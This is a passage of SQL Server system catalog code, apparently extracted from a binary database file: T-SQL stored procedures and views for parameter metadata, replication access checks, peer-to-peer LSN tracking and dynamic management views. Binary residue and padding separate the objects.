                                                s_pp.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pp.procedure_number,1), 5))),
        PARAMETER_NAME              = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pp.IS_NULLABLE,
        DATA_TYPE                   = s_pp.DATA_TYPE_28, -- for backward compatibility
        CHARACTER_MAXIMUM_LENGTH    = s_pp.CHARACTER_MAXIMUM_LENGTH_28, -- for backward compatibility
        CHARACTER_OCTET_LENGTH      = s_pp.CHARACTER_OCTET_LENGTH_28, -- for backward compatibility
        NUMERIC_PRECISION           = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pp.NUMERIC_SCALE,
        DESCRIPTION                 = s_pp.DESCRIPTION,
        TYPE_NAME                   = s_pp.TYPE_NAME_28, -- for backward compatibility
        LOCAL_TYPE_NAME             = s_pp.LOCAL_TYPE_NAME_28 -- for backward compatibility

    from
        sys.spt_procedure_params_view s_pp

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pp.schema_id)
        and
        (
            (s_pp.type in ('P', 'PC')) or
            (s_pp.procedure_number = 0 and s_pp.type in ('FN', 'TF', 'IF'))
        ) and
        (@parameter_name is null or @parameter_name = s_pp.PARAMETER_NAME)

    UNION ALL

    select
        PROCEDURE_CATALOG           = s_pprv.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pprv.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pprv.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pprv.procedure_number,1), 5))),
        PARAMETER_NAME              = s_pprv.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pprv.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pprv.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pprv.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pprv.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pprv.IS_NULLABLE,
        DATA_TYPE                   = s_pprv.DATA_TYPE, -- Return value is either int or empty.
        CHARACTER_MAXIMUM_LENGTH    = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH      = s_pprv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION           = s_pprv.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pprv.NUMERIC_SCALE,
        DESCRIPTION                 = s_pprv.DESCRIPTION,
        TYPE_NAME                   = s_pprv.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pprv.LOCAL_TYPE_NAME

    from
        sys.spt_procedure_params_return_values_view s_pprv

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pprv.schema_id) and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )

    order by 2, 3, 5
01 D8&h20U} 8CREATE VIEW sys.dm_exec_background_job_queue AS
	SELECT *
	FROM OpenRowSet(TABLE DM_EXEC_BACKGROUND_JOB_QUEUE)
0 P8h>Y0a q8create procedure sys.sp_MSuniqueobjectname 
	@name_in sysname,
 	@name_out sysname = NULL output
AS

 	declare @name_out_local sysname
	declare @subschars 		sysname
	declare @curchar 		nchar(1)
	declare @substidx 		int
	declare @pos 			int

	select @subschars = 'abcdefghijklmnopqrstuvwxyz'
	select @name_out_local = @name_in


	select @substidx = 0
	select @pos = 1

	while exists (select * from sys.objects where name = @name_out_local)
		begin
		if @substidx > 25 
			begin
			select @pos = @pos + 1
			select @substidx = 1
			end
		else
			select @substidx = @substidx + 1
		select @curchar = substring(@subschars, @substidx, 1)
		select @name_out_local = stuff(@name_out_local, @pos, 1, @curchar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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`m<r+~0S@ 8--
-- Name: sp_MSinstance_qv
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MSinstance_qv @qv varchar(10)
as
begin
    set nocount on
    declare @qv_value int
                ,@instance_name varchar(257)
    select @instance_name = cast(serverproperty('instancename') as varchar(257))
    if @instance_name is null
        exec @qv_value = master.dbo.xp_qv @qv    
    else
    begin
        exec @qv_value = master.dbo.xp_qv @qv, @instance_name
    end
    return @qv_value
end
0T. a8create procedure sys.sp_MScheck_pull_access
(
    @agent_id int = 0,
	@agent_type int = 0, 		-- 0 is tran; 1 is merge
    @publication_id int = 0,
    @raise_fatal_error bit = 1
)
as
begin
	set nocount on
	
    declare @retcode int,
			@login_time datetime,
			@isntname bit,
    		@offensive_pub_id int,
			@login sysname,
			@publication sysname,
			@spid smallint

    -- sysadmin or db_owner have access
    if is_srvrolemember('sysadmin') = 1 or is_member('db_owner') = 1
        return 0

	-- if this table does not exist then restrict access. This most likely means the proc 
	-- is being call on a non-distributor or the distributor is not fully installed
    if object_id('tempdb.dbo.MSdistributor_access', 'U') is NULL
    begin
		raiserror (14126, 11, -1)
        return (1)
    end

	-- Check if database is configured as a distributor database.
	if not exists (select * 
    				from msdb..MSdistributiondbs 
    				WHERE name = db_name() collate database_default)
    begin
		raiserror (14126, 11, -1)
        return (1)
    end

	select @spid = @@spid
    -- Need login_time to uniquely identify a connection.
    select @login_time = login_time from sys.dm_exec_sessions where session_id = @spid

    if @agent_id <> 0
    begin
    	if @agent_type = 1 -- merge
    	begin
	    	-- For merge change to use publication_id
	        select @publication_id = p.publication_id 
				from dbo.MSmerge_agents a, 
					MSpublications p 
				where a.id = @agent_id and
	                a.publisher_id = p.publisher_id and
	                a.publisher_db = p.publisher_db and
	                a.publication = p.publication

	        select @agent_id = 0
	    end
       	else if @agent_type = 0 -- tran
		begin
			-- retrieve the anonymous agent id if we find one
	    	-- if we don't then just use the original agent_id
	    	-- we do this because some of the calls to this procedure
	    	-- pass in the id from MSdistribution_agents instead
	    	-- of the agent_id from MSsubscription. anonymous_agent_id
	    	-- is the value from MSsubscription which is needed
	    	select @agent_id = isnull(anonymous_agent_id, @agent_id) 
	    		from MSdistribution_agents 
	    		where id = @agent_id 
	    			and anonymous_agent_id is not null
	    end 
    end

    -- if we are in cache, return success
    if exists (select * 
				from tempdb.dbo.MSdistributor_access 
				where spid = @spid 
        			and login_time = @login_time 
        			and db_id = db_id()         			
        			and (
        					(publication_id = @publication_id 
	       						and agent_id = @agent_id 
	        					and agent_type = @agent_type)
	        				or
				        	-- All 0s is used by sp_MSadd_repl_error, which just require the 
				        	-- login to be in cache regardless of the publication id and agent_id.
				        	-- This means that once a agent get into the distribution db, it
				        	-- can add any error.
				        	(@publication_id = 0 
				        		and @agent_id = 0 
				        		and @agent_type = 0)
				        ))
        return (0)

    -- Cover sp_MSadd_repl_error case
    if @publication_id = 0 and @agent_id = 0 and @agent_type = 0
    begin
        raiserror (14126, 11, -1)
        return (1)
    end

    -- Check to see if the login is NT login
    select @isntname = isntname from master.dbo.syslogins where sid = suser_sid()

    -- If the login does not exists, check to see if the login is a NT login that
    -- has access to the server.
    if @isntname is null
    begin
        -- If it is an NT login
        if suser_sid() is not null
            select @isntname = 1
        -- If it is not an NT login
        else
            select @isntname = 0
    end

    if @agent_id <> 0 
    begin
        select top 1 @offensive_pub_id = s.publication_id 
			from MSsubscriptions s 
			where s.agent_id = @agent_id 
				and not exists (select * 
									from MSpublication_access l 
									where l.publication_id = s.publication_id 
										-- Current login has no access
										and (l.sid = suser_sid() 
												or (@isntname = 1 
														and exists (select * 
																		from master.dbo.syslogins 
																		where sid = l.sid 
																			and isntgroup = 1 
																			and is_member(l.login) = 1))))

        -- check if we found a publication we do not have access to
        if @offensive_pub_id is not null
			goto NO_ACCESS
		
		-- now check that we actually had a valid agent id before allowing user to continue
		if not exists(select * from MSsubscriptions where agent_id = @agent_id)
			goto NO_ACCESS
    end
    -- Check security based on publication_id
    else
    begin   
        if not exists (select * 
							from MSpublication_access l 
							where l.publication_id = @publication_id 
								and (l.sid = suser_sid() 
									or (@isntname = 1 
										and exists (select * 
														from master.dbo.syslogins 
														where sid = l.sid
															and isntgroup = 1 
															and is_member(l.login) = 1))))
        begin
            select @offensive_pub_id = @publication_id
            goto NO_ACCESS
        end
	end

    -- If we are here, we know that the connection has access and is not in the cache
    -- add it in to the cache.
        
    -- Clear the cache to keep it small.
    exec @retcode = dbo.sp_MSflush_access_cache
    if @retcode <> 0 or @@error <> 0
        return (1)
        
	if @spid is not null and @login_time is not null
	begin
		insert tempdb.dbo.MSdistributor_access (spid, db_id, agent_id, agent_type, publication_id, login_time) 
	        values (@spid, db_id(), @agent_id, @agent_type, @publication_id, @login_time)
	    if @@error <> 0
			return (1)
	end

    return (0)

NO_ACCESS:
	-- We don't have access if we reach here, return error
    select @login = suser_sname(suser_sid()),
    		@publication = publication 
		from MSpublications 
		where publication_id = @offensive_pub_id

	if @offensive_pub_id is null or @publication is null
	begin
		-- You do not have the required permissions to complete the operation.
		if @raise_fatal_error = 1
			raiserror(14126, 16, -1)
		else
			raiserror(14126, 10, -1)
	end
	else
	begin
		-- The login '@login' does not have access permission on publication 
		-- '@publication' because it is not in the publication access list.
		if @raise_fatal_error = 1
	        raiserror(21049, 16, -1, @login, @publication)
	    else
         	raiserror(21049, 10, -1, @login, @publication)
	end
	
    return(1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

)`
<,Ņ0 	8
CREATE PROCEDURE sys.sp_IHadd_sync_command
(
	@publisher_id		smallint = NULL,
	@publisher_db		sysname,
	@xact_id			varbinary(16) = 0x0,
	@xact_seqno			varbinary(16) = 0x0,
	@originator			sysname = NULL,
	@originator_db		sysname = NULL,
	@article_id			int = NULL,
	@command_id			int = 1,
	@type				int = NULL,
	@partial_command	bit = NULL,
	@command			varbinary(1024) = NULL,
	@publisher			sysname = NULL
)
AS
BEGIN
	SET NOCOUNT ON

	declare @retcode int
	DECLARE @date datetime
	DECLARE @publisher_database_id int
	declare @originator_id int
	DECLARE @syncmask int
	DECLARE @snapshot_bit int

	select @snapshot_bit = 0x80000000

	SELECT @date = GETDATE()

	-------- security check, db_owner
	exec @retcode = sys.sp_MSreplcheck_publish
	if @@ERROR <> 0 or @retcode <> 0
		return(1)

	if @publisher_id is NULL
		select @publisher_id = srvid from master.dbo.sysservers where
			UPPER(srvname collate database_default) = UPPER(@publisher)

	-- Get publisher database id.
	SELECT @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and 
		publisher_db = @publisher_db

	IF @command_id = 1
	BEGIN
		INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
			@xact_id,  @xact_seqno, @date)
		IF @@ERROR <> 0
			RETURN 1
	END

	IF @command IS NOT NULL
	begin
		if @originator <> N'' and @originator_db <> N'' and @originator is not null and @originator_db is not null 
		begin
		set @originator_id = null select @originator_id = id from MSrepl_originators where
			publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@originator) and
			dbname = @originator_db
		if @originator_id is null
		begin
			insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
				(@publisher_database_id, UPPER(@originator), @originator_db)
			select @originator_id = @@identity
		end
		end
		else
		select @originator_id = 0
	    

		if( @type in( 37,38 ) )
		begin
	  		declare @syncstat int
			select @syncstat = 38 - @type
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @article_id, @syncstat, @xact_seqno 
		end

		INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, @xact_seqno,
			@type | @snapshot_bit, @article_id, @originator_id, @command_id, @partial_command, @command)
	end

	IF @@ERROR <> 0
		RETURN (1)
END
0 	8
--
-- Name:    
--          sp_IHCheckPublisherLogin
--          
-- Description: 
--          Verify a linked server login mapping exists for the specified
--			login
--
-- Input/Output:
--			@publisher	Publisher server with a linked server to
--						check logins for.  Returns server name in
--						same case as it is stored in sysservers.
--						This is useful to make sure that it is in
--						the correct case for usage in distributed
--						query operations
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          1 == No login mapping exists
--			0 == Login mapping exists
--

CREATE PROCEDURE sys.sp_IHCheckPublisherLogin
(
	@publisher sysname OUTPUT
)
AS
BEGIN
    DECLARE @retcode int

    -- Find linked server name (with correct case setting)
	SELECT	@publisher = srvname
	FROM	master.sys.sysservers
	WHERE	UPPER(srvname  collate database_default) = UPPER(@publisher) collate database_default

	-- Verify linked server exists
	IF @publisher IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Verify login mapping exists for publisher admin account
	IF NOT EXISTS
	(
		SELECT	principal_id
		FROM	master.sys.server_principals sp,
				master.sys.linked_logins ll,
				master.sys.servers s,
				msdb.dbo.MSdistpublishers msdp
		WHERE	sp.principal_id	= ll.local_principal_id
		  AND	s.server_id		= ll.server_id
		  AND	ll.remote_name	= msdp.login
		  AND	UPPER(s.name collate database_default)	= UPPER(msdp.name collate database_default)
		  AND	UPPER(s.name collate database_default)	= UPPER(@publisher) collate database_default
		  AND	sp.name			= SUSER_SNAME(0x01)
		UNION
		SELECT	principal_id
		FROM	master.sys.server_principals sp,
				master.sys.linked_logins ll,
				master.sys.servers s,
				msdb.dbo.MSdistpublishers msdp
		WHERE	sp.principal_id			= ll.local_principal_id
		  AND	s.server_id				= ll.server_id
		  AND	ll.uses_self_credential	= 1
		  AND	msdp.security_mode		= 1
		  AND	UPPER(s.name collate database_default)	= UPPER(msdp.name collate database_default)
		  AND	UPPER(s.name collate database_default)	= UPPER(@publisher) collate database_default
		  AND	sp.name			= SUSER_SNAME(0x01)
	)
        BEGIN
        	DECLARE @login sysname
        	SET @login = suser_sname()
        	RAISERROR(21681, 16, -1, @login, @publisher)
        	RETURN (1)
        END
            
	RETURN (0)
END
0y 8create procedure sys.sp_MSflush_access_cache
AS
    -- Delete all the 'dead' connections in MSpublisher_access.
    
    if exists (select * from tempdb.sys.objects where name = 'MSdistributor_access' and
    type = 'U')
    begin
        -- Delete all the 'dead' connections in MSdistributor_access.
        delete tempdb.dbo.MSdistributor_access 
		from tempdb.dbo.MSdistributor_access a
		left outer join sys.dm_exec_sessions dm 
			on a.spid = dm.session_id
			and a.login_time = dm.login_time 
		where dm.session_id is null

        if @@error <> 0
            return 1
        else
            return 0
    end
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! A
`<;<x
"aq0 &
8create procedure sys.sp_MSaddpeerlsn
(
	@originator					sysname,
	@originator_db				sysname,
	@originator_publication		sysname,
	@originator_publication_id	int,
	@originator_db_version		int,
	@originator_lsn			varbinary(10),
	@originator_version		int = NULL,
	@originator_id				int = NULL
)
as
begin
	declare @retcode bit

	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or  @retcode <> 0 
    begin
        return 1
    end

	begin transaction tran_sp_MSaddpeerlsn
	save transaction tran_sp_MSaddpeerlsn

	-- if the LSN entry already exists then we will just perform a NO-OP
	if exists (select * 
					from MSpeer_lsns with (holdlock, updlock)
					where originator				= UPPER(@originator)
						and originator_db 				= @originator_db
						and originator_publication		= @originator_publication
						and originator_publication_id 	= @originator_publication_id
						and originator_db_version		= @originator_db_version)
	begin
		commit transaction tran_sp_MSaddpeerlsn
		return 0
	end
	
	if @originator_id = 0 
		select @originator_id = NULL
	
	insert into MSpeer_lsns
	(
		originator,
		originator_db,
		originator_publication,
		originator_publication_id,
		originator_db_version,
		originator_lsn,
		originator_version,
		originator_id
	)
	values
	(
		UPPER(@originator),
		@originator_db,
		@originator_publication,
		@originator_publication_id,
		@originator_db_version,
		@originator_lsn,
		@originator_version,
		@originator_id
	)
	if @@error <> 0
	begin
		-- The procedure sys.sp_MSaddpeerlsn failed to INSERT into the resource MSpeer_lsns. Server error =  @@error.
		raiserror (21499, 16, -1, 'sys.sp_MSaddpeerlsn', 'INSERT into', 'MSpeer_lsns.', @@error)
		goto FAILURE
       end


     if object_id(N'dbo.MSpeer_originatorid_history', N'U') is not NULL
     begin
        if @originator_id is not NULL and not exists(select * from dbo.MSpeer_originatorid_history where originator_publication = @originator_publication
     													     and originator_id = @originator_id
                                                                                                and UPPER(originator_node) = UPPER(@originator)
                                                                                                and originator_db = @originator_db
	                                  					                          and originator_db_version = @originator_db_version)

       begin
        insert dbo.MSpeer_originatorid_history
	        (originator_publication, originator_id, originator_node, originator_db, originator_db_version, originator_version)
	 values(@originator_publication, @originator_id, UPPER(@originator), @originator_db, @originator_db_version, @originator_version)

	 if @@error <> 0
	 begin
		-- The procedure sys.sp_MSaddpeerlsn failed to INSERT into the resource MSpeer_originatorid_history. Server error =  @@error.
		raiserror (21499, 16, -1, 'sys.sp_MSaddpeerlsn', 'INSERT into', 'MSpeer_originatorid_history.', @@error)
		goto FAILURE
          end
        end
      end

	commit transaction tran_sp_MSaddpeerlsn
	
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<
L&_0` 8 
-- add it
create view sys.pdw_column_distribution_properties as
select
	object_id,
	column_id,
	distribution_ordinal
from sys._pdw_column_distribution_properties
0lf@ <8-- View all the parameters of a profile from the MSagent_parameters table
create procedure sys.sp_help_agent_parameter(
    @profile_id     int = -1
)
as
    set nocount on

    -- Security Check: Must be sysadmin or the replmonitor
    if isnull(is_member(N'replmonitor'),0) = 0 and isnull(is_srvrolemember(N'sysadmin'),0) = 0
    begin
      RAISERROR(14260,16,-1) 
      return 1
    end
    
    if @profile_id = -1
    begin   
        select profile_id, parameter_name, value
        from msdb..MSagent_parameters
        order by profile_id, parameter_name
    end
    else
    begin
        select profile_id, parameter_name, value
        from msdb..MSagent_parameters
        where profile_id = @profile_id
        order by profile_id, parameter_name
    end
07g 88TV0	p '8CREATE VIEW sys.dm_exec_trigger_stats AS
	SELECT
		database_id,
		object_id,
		type,
		n.name AS type_desc,
		sql_handle,
		plan_handle,
		cached_time,
		last_execution_time,
		execution_count,
		total_worker_time,
		last_worker_time,
		min_worker_time,	
		max_worker_time,
		total_physical_reads,
		last_physical_reads,
		min_physical_reads,
		max_physical_reads,
		total_logical_writes,
		last_logical_writes,
		min_logical_writes,
		max_logical_writes,
		total_logical_reads,
		last_logical_reads,
		min_logical_reads,
		max_logical_reads,
		total_elapsed_time,
		last_elapsed_time,
		min_elapsed_time,
		max_elapsed_time
	FROM OpenRowset (TABLE TRIGGER_STATS) o
	LEFT JOIN sys.syspalnames n ON n.class = 'OBTY' 
		AND n.value = o.type

0v D8}hQ8$0ҁ@ 8CREATE VIEW sys.dm_os_memory_pools AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_MEMORY_POOLS) 
0ZV  8create function sys.fn_fIsColTracked
    (@artnick int)
    returns int
as
begin
    declare @fIsColTracked int
    set @fIsColTracked= (select top 1 column_tracking from dbo.sysmergearticles where nickname=@artnick)
    return @fIsColTracked
end
0v 8create procedure sys.sp_MSgetpeerlsns
(
	@publication	sysname,
 	@xlockrows 		bit
)
as
begin
	set nocount on

	declare @retcode 	int,
			@dbversion	int
	
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or  @retcode <> 0 
    begin
        return 1
    end

	-- retrieve the current subscriber database version
	exec @retcode = sys.sp_MSgetdbversion @current_version = @dbversion output 
	if @retcode <> 0 or @@error <> 0
	begin
		return 1
	end
	
	-- user wants to place an exclusive lock on the retrieved rows for 
	-- the duration of the transaction in which this SP is called...
	if @xlockrows = 1 
	begin
		-- note that here we order by pk to ensure lock order
		select distinct	UPPER(originator),
				originator_db,
				originator_publication_id,
				originator_db_version,
				originator_lsn,
				id
			from MSpeer_lsns with (XLOCK, ROWLOCK, INDEX(nci_MSpeer_lsns))
			where originator_publication = @publication
					-- and they can not be local water marks or they must be from a differnt db version
					and (originator 			!= UPPER(publishingservername())
						or originator_db 			!= db_name()
						or originator_db_version 	!= @dbversion)
			order by id
		if @@error <> 0
			return 1
	end
	else
	begin
		-- same query as above without the xlock, rowlock hint and no order by
		select distinct	UPPER(originator),
				originator_db,
				originator_publication_id,
				originator_db_version,
				originator_lsn
			from MSpeer_lsns with (INDEX(nci_MSpeer_lsns))
			where originator_publication = @publication
					-- and they can not be local water marks or they must be from a differnt db version
					and (originator 			!= UPPER(publishingservername())
						or originator_db 			!= db_name()
						or originator_db_version 	!= @dbversion)
		if @@error <> 0
			return 1
	end

	return 0
end
0S̉ 8create procedure sys.sp_MSpeerapplyresponse
(
	@request_id		int,
	@originator		sysname,
	@originator_db	sysname,
	@response_srvr	sysname,
	@response_db	sysname
)
as
begin
	set nocount on	
	
	declare @retcode int
	
	-- security check for subscriber
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or @retcode <> 0 
    begin
        return 1
    end

	-- we will exit in either of these conditions since this means we
	-- are not at the correct node and we should treat this as a noop
	-- the conditions are as follows:
	--	1. Any of the user provided information is NULL
	--	2. We are not on the originator server
	--	3. The originator and reponse_srvr are the same
	--
	-- section 1 
	if @request_id is NULL
		or @originator is NULL
		or @originator_db is NULL
		or @response_srvr is NULL
		or @response_db is NULL
		-- section 2
		or UPPER(@originator) <> UPPER(publishingservername())
		or @originator_db <> db_name()
		-- section 3
		or (UPPER(@originator) = UPPER(@response_srvr)
			and @originator_db = @response_db)
	begin
		return 0
	end
	
	begin transaction tr_sp_MSpeerapplyresponse
	save transaction tr_sp_MSpeerapplyresponse

	update MSpeer_response
		set received_date = getdate()
		where request_id = @request_id
			and peer = @response_srvr
			and peer_db = @response_db
	if @@error <> 0
	begin
		-- The procedure sys.sp_MSpeerapplyresponse failed to UPDATE the resource MSpeer_response Server error =  0.
		raiserror (21499, 16, -1, 'sys.sp_MSpeerapplyresponse', 'UPDATE', 'MSpeer_response.', @@error)
		goto FAILURE
	end

	commit transaction tr_sp_MSpeerapplyresponse

	return 0
FAILURE:
	rollback transaction tr_sp_MSpeerapplyresponse
	commit transaction 
	
	return 1
end
0;d@ 8CREATE PROCEDURE sys.sp_helplogreader_agent 
(
	@publisher sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname
	
	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type = @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT

	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_helplogreader_agent'

	EXEC @retcode = @cmd	@publisher 		= @publisher,
							@publisher_type = @publisher_type

	RETURN (@retcode)
END
